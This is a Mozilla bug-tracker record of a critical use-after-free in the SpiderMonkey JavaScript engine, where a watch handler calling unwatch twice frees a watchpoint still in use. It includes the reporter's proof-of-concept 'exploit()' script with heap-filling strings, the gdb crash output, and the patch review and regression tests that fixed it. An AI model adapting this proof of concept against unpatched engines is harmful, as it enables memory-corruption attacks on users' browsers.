Last Comment Bug 362872 - script can drop a watchpoint that is in use
: script can drop a watchpoint that is in use
Status: VERIFIED FIXED
[sg:critical] mostly fixed by 324010
: crash, verified1.8.0.10, verified1.8.1.2
Product: Core
Classification: Components
Component: JavaScript Engine (show other bugs)
: Trunk
: All All
: -- critical (vote)
: ---
Assigned To: Brendan Eich [:brendan]
:
: Jason Orendorff [:jorendorff]
Mentors:
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2006-12-05 13:24 PST by shutdown
Modified: 2007-08-08 03:27 PDT (History)
5 users (show)
jaymoz: blocking1.8.1.2+
jaymoz: blocking1.8.0.10+
bob: in‑testsuite+
See Also:
Crash Signature:
(edit)
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---


Attachments
One way of fixing this (2.20 KB, patch)
2006-12-11 16:27 PST, Blake Kaplan (:mrbkap)
no flags Details | Diff | Splinter Review
js1_5/Object/regress-362872.js (2.66 KB, text/plain)
2007-01-17 03:23 PST, Bob Clary [:bc:]
no flags Details
1.8 branch patch (8.35 KB, patch)
2007-01-17 13:05 PST, Brendan Eich [:brendan]
no flags Details | Diff | Splinter Review
1.8.0 branch patch (8.27 KB, patch)
2007-01-17 13:09 PST, Brendan Eich [:brendan]
no flags Details | Diff | Splinter Review
fixed 1.8 branch patch (8.46 KB, patch)
2007-01-17 15:36 PST, Brendan Eich [:brendan]
mrbkap: review+
jaymoz: approval1.8.1.2+
Details | Diff | Splinter Review
fixed 1.8.0 branch patch (8.38 KB, patch)
2007-01-17 15:37 PST, Brendan Eich [:brendan]
mrbkap: review+
jaymoz: approval1.8.0.10+
Details | Diff | Splinter Review
trunk patch (854 bytes, patch)
2007-01-17 15:38 PST, Brendan Eich [:brendan]
mrbkap: review+
Details | Diff | Splinter Review
js1_5/Object/regress-362872-02.js (2.18 KB, application/javascript)
2007-01-29 09:42 PST, Bob Clary [:bc:]
no flags Details

Description User image shutdown 2006-12-05 13:24:56 PST
$ cat double-unwatch.txt
function exploit() {
  var rooter = {}, object = {}, filler1 = "", filler2 = "\u5555";
  for(var i = 0; i < 32/2-2; i++) { filler1 += "\u5050"; }
  object.watch("foo", function(){
    object.unwatch("foo");
    object.unwatch("foo");
    for(var i = 0; i < 8 * 1024; i++) {
      rooter[i] = filler1 + filler2;
    }
  });
  object.foo = "bar";
}
exploit();

$ gdb --eval run --args dbg.obj/js double-unwatch.txt
...
Program received signal SIGSEGV, Segmentation fault.
0x0043b1d0 in js_watch_set (cx=0xb50730, obj=0xa44d00, id=10767564,
    vp=0xa2eb64) at jsdbgapi.c:384
384                     clasp = OBJ_GET_CLASS(cx, closure);
(gdb) print *wp
$1 = {links = {next = 0x50505050, prev = 0x50505050}, object = 0x50505050,
  sprop = 0x50505050, setter = 0x50505050, handler = 0x50505050,
  closure = <incomplete type>, nrefs = 21845}

exploitable.
Comment 1 User image Blake Kaplan (:mrbkap) 2006-12-11 16:27:56 PST
Created attachment 248317 [details] [diff] [review]
One way of fixing this

This changes the meaning of JS_ClearWatchPoint slightly (so that two calls to it only result in one call to DropWatchPoint), and I'm not sure if that's OK. I could move this check into obj_unwatch (and move JSWatchPoint into jsdbgapi.h), which would not change the API.
Comment 2 User image Brendan Eich [:brendan] 2006-12-11 17:14:48 PST
Comment on attachment 248317 [details] [diff] [review]
One way of fixing this

Not bad. It seems very bogus that JS_ClearWatchPoint can manipulate wp->nrefs. If the latter is counting strong refs (from rp->watchPointList and any wp local(s) active in js_watch_set frames), then it should not be possible to drop such a strong ref from the watch function, via *any* calls to unwatch.

So it might be better to eliminate nrefs in favor of a frozen flag. Then js_watch_set would set this flag, and JS_ClearWatchPoint would do nothing if it found it set.  What do you think?

/be
Comment 3 User image Blake Kaplan (:mrbkap) 2006-12-11 17:52:00 PST
(In reply to comment #2)
> So it might be better to eliminate nrefs in favor of a frozen flag. Then
> js_watch_set would set this flag, and JS_ClearWatchPoint would do nothing if it
> found it set.  What do you think?

I think we need a tri-state instead of a boolean. JS_ClearWatchPoint does indeed drop wp->nrefs to represent the ref from rt->watchPointList. So we need:
1: The watchpoint has been added and not dropped
2: The watchpoint is currently running

And if we drop from one of these two states and the other is not set, then we free the watch point. Perhaps we should just encode this into wp->nrefs?
Comment 4 User image Brendan Eich [:brendan] 2007-01-16 12:43:45 PST
This was fixed as part of the patch for bug 324010 (which was mistakenly checked in, but with r+, with a checkin message citing bug 366468).

/be
Comment 5 User image Daniel Veditz [:dveditz] 2007-01-16 12:57:58 PST
For the older branches do we want the whole patch from bug 324010 or would it make sense to go with a smaller, more specific patch on the branches?
Comment 6 User image Bob Clary [:bc:] 2007-01-17 03:23:52 PST
Created attachment 251753 [details]
js1_5/Object/regress-362872.js
Comment 7 User image Brendan Eich [:brendan] 2007-01-17 12:47:03 PST
(In reply to comment #5)
> For the older branches do we want the whole patch from bug 324010 or would it
> make sense to go with a smaller, more specific patch on the branches?

Smaller patch -- will attach one soon.

/be
Comment 8 User image Brendan Eich [:brendan] 2007-01-17 13:05:56 PST
Created attachment 251821 [details] [diff] [review]
1.8 branch patch

Needs review, enough changed. Also needs testing -- I'm swamped but found time to extract this patch.

/be
Comment 9 User image Brendan Eich [:brendan] 2007-01-17 13:09:22 PST
Created attachment 251822 [details] [diff] [review]
1.8.0 branch patch
Comment 10 User image Blake Kaplan (:mrbkap) 2007-01-17 13:24:21 PST
Comment on attachment 251821 [details] [diff] [review]
1.8 branch patch

>Index: jsdbgapi.c
>-        if (wp->object == obj && SPROP_USERID(sprop) == id) {
>+        if (wp->object == obj && SPROP_USERID(sprop) == id &&
>+            !(wp->flags & JSWP_HELD)) {
>+            wp->flags |= JSWP_HELD;

Crap, I missed this before: the additional test in the if statement will cause us to hit the assertion at the end of this function, since we are guaranteed to find a watch point. There is watchpoint recursion protection in obj_watch_handler already.

Maybe with this line, we should simply remove the recursion protection and the assertion (and change the return value to JS_TRUE).

Here's a testcase:
js> this.watch('x', function f() { print("before"); x = 3; print("after"); })
js> x = 3
before
Assertion failure: 0, at jsdbgapi.c:565
Comment 11 User image Brendan Eich [:brendan] 2007-01-17 15:36:43 PST
Created attachment 251840 [details] [diff] [review]
fixed 1.8 branch patch

mrbkap: thanks, fixed that as proposed.

/be
Comment 12 User image Brendan Eich [:brendan] 2007-01-17 15:37:19 PST
Created attachment 251841 [details] [diff] [review]
fixed 1.8.0 branch patch
Comment 13 User image Brendan Eich [:brendan] 2007-01-17 15:38:16 PST
Created attachment 251842 [details] [diff] [review]
trunk patch
Comment 14 User image Brendan Eich [:brendan] 2007-01-17 16:28:59 PST
Fixed on trunk:

js/src/jsdbgapi.c rev 3.85

/be
Comment 15 User image Jay Patel [:jay] 2007-01-17 16:35:22 PST
Comment on attachment 251840 [details] [diff] [review]
fixed 1.8 branch patch

Approved for 1.8 branch, a=jay for drivers.
Comment 16 User image Jay Patel [:jay] 2007-01-17 16:35:50 PST
Comment on attachment 251841 [details] [diff] [review]
fixed 1.8.0 branch patch

Approved for 1.8.0 branch, a=jay for drivers.
Comment 17 User image Brendan Eich [:brendan] 2007-01-17 16:43:55 PST
1.8:   js/src/jsdbgapi.c 3.56.2.15
1.8.0: js/src/jsdbgapi.c 3.56.2.1.4.10

/be
Comment 18 User image Bob Clary [:bc:] 2007-01-29 09:40:00 PST
verified fixed 1.8.0, 1.8.1, 1.9.0 2007-01-23 win/mac*/linux based on js1_5/Object/regress-362872.js. 
Comment 19 User image Bob Clary [:bc:] 2007-01-29 09:42:07 PST
Created attachment 253193 [details]
js1_5/Object/regress-362872-02.js

mrbkap's test from comment 10.
Comment 20 User image Bob Clary [:bc:] 2007-02-09 12:16:53 PST
debug linux 1.9.0 on shutdown
Assertion failure: overwriting, at /work/mozilla/builds/1.9.0/mozilla/js/src/jsscope.c:1237
Trace/breakpoint trap

debug linux 1.8.1 on shutdown 
Assertion failure: overwriting, at /work/mozilla/builds/1.8.1/mozilla/js/src/jsscope.c:1133
Trace/breakpoint trap

debug linux 1.8.0
Assertion failure: overwriting, at /work/mozilla/builds/1.8.0/mozilla/js/src/jsscope.c:1132

dittos windows and mac (I think).
Comment 21 User image Bob Clary [:bc:] 2007-02-09 12:26:34 PST
btw, shutting down is not necessary. just click the home button and you will hit the same assert.
Comment 22 User image Brendan Eich [:brendan] 2007-02-09 17:58:20 PST
New bug please -- cc: mrbkap and me.

/be
Comment 23 User image Bob Clary [:bc:] 2007-02-10 12:05:19 PST
assert is fixed by patch in bug 361856 comment 9
Comment 24 User image Bob Clary [:bc:] 2007-08-08 03:27:45 PDT
/cvsroot/mozilla/js/tests/js1_5/Object/regress-362872-01.js,v  <--  regress-362872-01.js
initial revision: 1.1

/cvsroot/mozilla/js/tests/js1_5/Object/regress-362872-02.js,v  <--  regress-362872-02.js
initial revision: 1.1

Note You need to log in before you can comment on or make changes to this bug.